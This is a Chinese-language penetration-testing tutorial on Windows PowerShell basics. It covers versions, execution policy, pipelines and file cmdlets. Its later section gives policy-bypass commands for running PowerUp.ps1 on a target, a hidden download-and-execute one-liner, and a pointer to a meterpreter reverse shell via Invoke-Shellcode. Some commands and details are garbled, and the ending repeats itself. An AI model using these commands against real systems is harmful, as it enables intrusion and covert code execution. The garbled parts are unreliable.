内网渗透测试基础——Windows PowerShell篇
1. Windows PowerShell基础
Windows PowerShell是一种命令行外壳程序和脚本环境,它内置在每个受支持的Windows版本中(Windows7、Windows Server 2008 R2及更高版本),为Windows命令行使用者和脚本编写者利用.NET Framework的强大功能提供了便利。只要可以在一台计算机上运行代码,就可将PowerShell脚本文件(.ps1)下载到磁盘中执行(甚至无须将脚本文件写到磁盘中)。也可以把PowerShell看作命令提示符cmd.exe的扩展。
PowerShell需要.NET环境的支持,同时支持.NET对象,其可读性、易用性居所有Shell之首。PowerShell的这些特点,使它逐渐成为一个非常流行且得力的安全测试工具。PowerShell具有以下特点。
- 在Windows 7 以上版本的操作系统中是默认安装的。
- 脚本可以在内存中运行,不需要写入磁盘。
- 几乎不会触发杀毒软件。
- 可以远程执行。
- 目前很多工具都是基于PowerShell开发的。
- 使Windows脚本的执行变得更容易。
- cmd.exe的运行通常会被阻止,但是PowerShell的运行通常不会被阻止。
- 可用于管理活动目录。
Windows操作系统所对应的PowerShell版本,如图所示。
操作系统 | PowerShell版本 | 是否可升级 |
---|---|---|
Windows 7/Windows Server 2008 | 2.0 | 可以升级为3.0、4.0 |
Windows 8/Windows Server 2012 | 3.0 | 可以升级为4.0 |
Windows 8.1/Windows Server 2012 R2 | 4.0 | 否 |
可以输入**“Get-Host"或者”$PSVersionTable.PSVERSION"**命令查看PowerShell的版本,如图所示。
2. PowerShell的基本概念
1. .ps1文件
一个PowerShell脚本其实就是一个简单的文本文件,其扩展名为".ps1"。PowerShell脚本文件中包含一系列PowerShell命令,每个命令显示为独立的一行。
2. 执行策略
为了防止使用者运行恶意脚本,PowerShell提供了一个执行策略。在默认情况下,这个执行策略被设置为“不能运行”。
如果PowerShell脚本无法运行,可以使用下面的cmdlet命令查询当前的执行策略。
- Get-ExecutionPolicy。
- Restricted: 脚本不能运行(默认设置)。
- RemoteSigned:在本地创建的脚本可以运行,但从网上下载的脚本不能运行(拥有数字证书的签名的除外)。
- AllSigned:仅当脚本由受信任的发布者签名时才能运行。
- Unrestriced:允许所有脚本运行。
可以使用下面的cmdlet命令设置PowerShell的执行策略。
Set-ExecutionPolicy
3. 运行脚本
要想运行一个PowerShell脚本,必须输入完整的路径和文件名。例如,要运行脚本a.ps1,需要输入“C:\Scripts\a.ps1”。
一个例外情况是,如果PowerShell脚本文件刚好在系统目录中,在命令提示符后直接输入脚本文件名(例如“.\a.ps1")即可运行脚本。这与在Linux中执行Shell脚本的方法相同的。
4. 管道
管道的作用是将一个命令的输出作为另一个命令的输入,两个命令之间用“|”连接。我们通过一个例子来了解一下管道是如何工作的。执行如下命令,让所有正在运行的、名字以字符“p"开头的程序停止运行。
PS> get-process p* | stop-process
3. PowerShell的常用命令
1. 基础知识
在PowerShell下,类似cmd命令的命令叫做cmdlet命令。二者的命名规范一致,都采用”动词-名词“的形式,例如”New-Item"。动词部分一般为Add、New、Get、Remove、Set等。命令的别名一般兼容Windows Command和Liinux Shell,例如Get-Children命令在dir和ls下均可使用。另外,PowerShell命令不区分大小写。下面以文件操作为例,讲解PowerShell命令的基本用法。
- 新建目录:New-Item whitecellclub-ItemType DIrectory。
- 新建文件:New-Item light.txt–ItemTypeFile。
- 删除目录:Remove-Item whitecellclub。
- 显示文本内容:Get-Content test.txt。
- 设置文本内容:Set-Content test.txt-Value “hello,world!"。
- 追加内容:Add-Contentl light.txt-Value “i love you"。
- 清除内容:Clear-Content test.txt。
2. 常用命令
在Windows终端提示符下输入”powershell“,进入PowerShell命令行环境。输入”help“命令即可显示帮助菜单,如图所示。
要想运行PowerShell脚本程序,必须使用管理员权限将策略从Restricted改成Unrestricted。
(1)绕过本地权限并执行
将PowerUp.ps1上传至目标服务器。在命令行环境下,执行如下命令,绕过安全策略,在目标服务器本地执行该脚本,如图所示。
PowerShell.exe -ExecutionPolicy Bypass -File PowerUp.ps1
将同一个脚本上传到目标服务器中,在目标本地执行脚本文件,命令如下。
powershell.exe -exec bypass -Command “& {Import-Module C:\PowerUp.ps1;Invoke-AllChecks}”
(2)从网站服务器中下载脚本,绕过本地权限并隐藏执行
PowerShell.exe -ExecutionPolicy Bypass-WindowStyle Hidden-NoProfile-NonIIEX(New-ObjectNet.WebClient).DownloadString(“xxx.ps1”);[Parameters]
使用PowerUp.ps1脚本在目标机器上执行meterpreter Shell。在这里,我们需要知道使用的参数是什么。最简单的方法是阅读PowerShell脚本的源码,获取并浏览Invoke-Shellcode.ps1文件,了解如何调用反向HTTPS meterpreter Shell。
3. 运行32位和64位PowerShell
一些PowerShell脚本只能运行在指定的平台上。例如64位的平台上,需要通过64位的PowerShell脚本来运行命令。在64位的Windows操作系统中,存在两个版本的PowerShell,一个是x64版本的,另一个是x86版本的。这两个版本的执行策略不会互相影响,可以把它们看成两个独立程序。x64版本PowerShell的配置文件在%windir%\syswow64\WindowsPowerShell\v1.0\目录下。
- 运行32位PowerShell脚本,命令如下。
Powershell.exe -NoP -NonI -W Hidden -Exec Bypass
- 运行64位PowerShell脚本, 命令如下。
%WinDir%\syswow64\windowspowershell\v1.0\powershell.exe -NoP -NonI -W Hidden -Exec Bypass
推荐一个PowerShell在线教程,[https://www.pstips.net/powershell-online-tutorials],有兴趣的可以自行研究。
hell.exe -NoP -NonI -W Hidden -Exec Bypass
推荐一个PowerShell在线教程,[https://www.pstips.net/powershell-online-tutorials],有兴趣的可以自行研究。